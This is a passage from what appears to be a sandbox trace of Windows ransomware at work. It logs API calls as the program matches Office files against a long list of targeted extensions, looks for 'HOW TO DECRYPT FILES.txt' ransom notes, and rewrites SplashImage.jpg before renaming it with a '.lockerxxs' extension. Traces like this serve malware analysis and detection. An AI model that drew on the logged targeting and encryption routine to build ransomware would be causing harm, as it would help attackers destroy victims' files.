Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.vdi") returned 0 [0065.547] lstrlenA (lpString="*.vdi") returned 5 [0065.547] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.lay6") returned 0 [0065.547] lstrlenA (lpString="*.lay6") returned 6 [0065.548] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.mpeg") returned 0 [0065.548] lstrlenA (lpString="*.mpeg") returned 6 [0065.548] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.djvu") returned 0 [0065.548] lstrlenA (lpString="*.djvu") returned 6 [0065.548] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.tiff") returned 0 [0065.548] lstrlenA (lpString="*.tiff") returned 6 [0065.548] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.backup") returned 0 [0065.548] lstrlenA (lpString="*.backup") returned 8 [0065.548] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.pdf") returned 0 [0065.548] lstrlenA (lpString="*.pdf") returned 5 [0065.548] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.cert") returned 0 [0065.548] lstrlenA (lpString="*.cert") returned 6 [0065.548] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.docm") returned 0 [0065.548] lstrlenA (lpString="*.docm") returned 6 [0065.548] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.xlsm") returned 0 [0065.548] lstrlenA (lpString="*.xlsm") returned 6 [0065.548] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.dwg") returned 0 [0065.549] lstrlenA (lpString="*.dwg") returned 5 [0065.549] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.nd") returned 0 [0065.549] lstrlenA (lpString="*.nd") returned 4 [0065.549] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.tlg") returned 0 [0065.549] lstrlenA (lpString="*.tlg") returned 5 [0065.549] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.lgb") returned 0 [0065.549] lstrlenA (lpString="*.lgb") returned 5 [0065.549] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.mov") returned 0 [0065.549] lstrlenA (lpString="*.mov") returned 5 [0065.549] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.xdw") returned 0 [0065.549] lstrlenA (lpString="*.xdw") returned 5 [0065.549] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.ods") returned 0 [0065.549] lstrlenA (lpString="*.ods") returned 5 [0065.549] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.wav") returned 0 [0065.549] lstrlenA (lpString="*.wav") returned 5 [0065.549] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.mp3") returned 0 [0065.549] lstrlenA (lpString="*.mp3") returned 5 [0065.549] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.aiff") returned 0 [0065.549] lstrlenA (lpString="*.aiff") returned 6 [0065.549] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.flac") returned 0 [0065.549] lstrlenA (lpString="*.flac") returned 6 [0065.549] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.m4a") returned 0 [0065.549] lstrlenA (lpString="*.m4a") returned 5 [0065.549] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp", pszSpec="*.csv") returned 0 [0065.550] lstrlenA (lpString="*.csv") returned 5 [0065.550] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x5f00, dwReserved0=0x6f006f, dwReserved1=0x73006c, cFileName="SplashImage.jpg", cAlternateFileName="SPLASH~1.JPG")) returned 1 [0065.550] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.550] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SplashImage.jpg") returned -1 [0065.550] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SplashImage.jpg") returned -1 [0065.550] lstrcmpiA (lpString1="", lpString2="SplashImage.jpg") returned -1 [0065.550] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\ProjectToolsetIconImagesMask.bmp") returned="ProjectToolsetIconImagesMask.bmp" [0065.550] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.550] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.550] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.550] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.550] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="SplashImage.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" [0065.550] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.ems") returned 0 [0065.550] lstrlenA (lpString="*.ems") returned 5 [0065.550] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.db") returned 0 [0065.550] lstrlenA (lpString="*.db") returned 4 [0065.550] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.dbf") returned 0 [0065.550] lstrlenA (lpString="*.dbf") returned 5 [0065.550] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.myox") returned 0 [0065.551] lstrlenA (lpString="*.myox") returned 6 [0065.551] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.myo") returned 0 [0065.551] lstrlenA (lpString="*.myo") returned 5 [0065.551] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.qbw") returned 0 [0065.551] lstrlenA (lpString="*.qbw") returned 5 [0065.551] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.qbb") returned 0 [0065.551] lstrlenA (lpString="*.qbb") returned 5 [0065.551] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.qbm") returned 0 [0065.551] lstrlenA (lpString="*.qbm") returned 5 [0065.551] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.qbo") returned 0 [0065.551] lstrlenA (lpString="*.qbo") returned 5 [0065.551] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.qbx") returned 0 [0065.551] lstrlenA (lpString="*.qbx") returned 5 [0065.551] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.qba") returned 0 [0065.551] lstrlenA (lpString="*.qba") returned 5 [0065.551] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.qby") returned 0 [0065.551] lstrlenA (lpString="*.qby") returned 5 [0065.551] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.qbj") returned 0 [0065.551] lstrlenA (lpString="*.qbj") returned 5 [0065.551] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.ofx") returned 0 [0065.551] lstrlenA (lpString="*.ofx") returned 5 [0065.551] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.qif") returned 0 [0065.551] lstrlenA (lpString="*.qif") returned 5 [0065.551] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.mye") returned 0 [0065.551] lstrlenA (lpString="*.mye") returned 5 [0065.552] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.mbox") returned 0 [0065.552] lstrlenA (lpString="*.mbox") returned 6 [0065.552] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.eml") returned 0 [0065.552] lstrlenA (lpString="*.eml") returned 5 [0065.552] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.pst") returned 0 [0065.552] lstrlenA (lpString="*.pst") returned 5 [0065.552] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.ost") returned 0 [0065.552] lstrlenA (lpString="*.ost") returned 5 [0065.552] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.idx") returned 0 [0065.552] lstrlenA (lpString="*.idx") returned 5 [0065.552] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.dbx") returned 0 [0065.552] lstrlenA (lpString="*.dbx") returned 5 [0065.552] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.sql") returned 0 [0065.552] lstrlenA (lpString="*.sql") returned 5 [0065.552] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.mdb") returned 0 [0065.552] lstrlenA (lpString="*.mdb") returned 5 [0065.552] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.fdb") returned 0 [0065.552] lstrlenA (lpString="*.fdb") returned 5 [0065.552] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.wab") returned 0 [0065.552] lstrlenA (lpString="*.wab") returned 5 [0065.552] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.dat") returned 0 [0065.552] lstrlenA (lpString="*.dat") returned 5 [0065.552] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.txt") returned 0 [0065.552] lstrlenA (lpString="*.txt") returned 5 [0065.553] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.jpeg") returned 0 [0065.553] lstrlenA (lpString="*.jpeg") returned 6 [0065.553] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", pszSpec="*.jpg") returned 1 [0065.553] lstrlenA (lpString="*.jpg") returned 5 [0065.553] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" [0065.553] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" [0065.553] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg." [0065.553] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg.lockerxxs" [0065.553] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0065.554] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x5f00 [0065.554] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xb5b7f600, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x6d3a4910, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xb5b7f600, dwHighDateTime=0x1c747ea)) returned 1 [0065.555] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.555] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x5eda, lpOverlapped=0x0) returned 1 [0065.557] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg") returned="SplashImage.jpg" [0065.557] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.557] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x5eda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x5eda, lpOverlapped=0x0) returned 1 [0065.557] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.557] CloseHandle (hObject=0x98) returned 1 [0065.559] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\splashimage.jpg.lockerxxs")) returned 1 [0065.560] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5b7f600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5b7f600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14078, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="SplashImageMask.bmp", cAlternateFileName="SPLASH~1.BMP")) returned 1 [0065.560] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.560] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SplashImageMask.bmp") returned -1 [0065.560] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SplashImageMask.bmp") returned -1 [0065.560] lstrcmpiA (lpString1="", lpString2="SplashImageMask.bmp") returned -1 [0065.561] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImage.jpg") returned="SplashImage.jpg" [0065.561] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" [0065.561] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\") returned="" [0065.561] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" [0065.561] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\how to decrypt files.txt")) returned 0x20 [0065.561] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\", lpString2="SplashImageMask.bmp" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp" [0065.561] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.ems") returned 0 [0065.561] lstrlenA (lpString="*.ems") returned 5 [0065.561] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.db") returned 0 [0065.561] lstrlenA (lpString="*.db") returned 4 [0065.561] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.dbf") returned 0 [0065.561] lstrlenA (lpString="*.dbf") returned 5 [0065.561] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.myox") returned 0 [0065.561] lstrlenA (lpString="*.myox") returned 6 [0065.561] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.myo") returned 0 [0065.561] lstrlenA (lpString="*.myo") returned 5 [0065.561] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.qbw") returned 0 [0065.561] lstrlenA (lpString="*.qbw") returned 5 [0065.561] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.qbb") returned 0 [0065.561] lstrlenA (lpString="*.qbb") returned 5 [0065.561] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.qbm") returned 0 [0065.561] lstrlenA (lpString="*.qbm") returned 5 [0065.562] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.qbo") returned 0 [0065.562] lstrlenA (lpString="*.qbo") returned 5 [0065.562] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.qbx") returned 0 [0065.562] lstrlenA (lpString="*.qbx") returned 5 [0065.562] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.qba") returned 0 [0065.562] lstrlenA (lpString="*.qba") returned 5 [0065.562] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.qby") returned 0 [0065.562] lstrlenA (lpString="*.qby") returned 5 [0065.562] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.qbj") returned 0 [0065.562] lstrlenA (lpString="*.qbj") returned 5 [0065.562] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.ofx") returned 0 [0065.562] lstrlenA (lpString="*.ofx") returned 5 [0065.562] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.qif") returned 0 [0065.562] lstrlenA (lpString="*.qif") returned 5 [0065.562] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\SplashImageMask.bmp", pszSpec="*.mye") returned 0 [0065.562] lstrlenA (lpString="*.mye") returned 5 [0065.562] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft 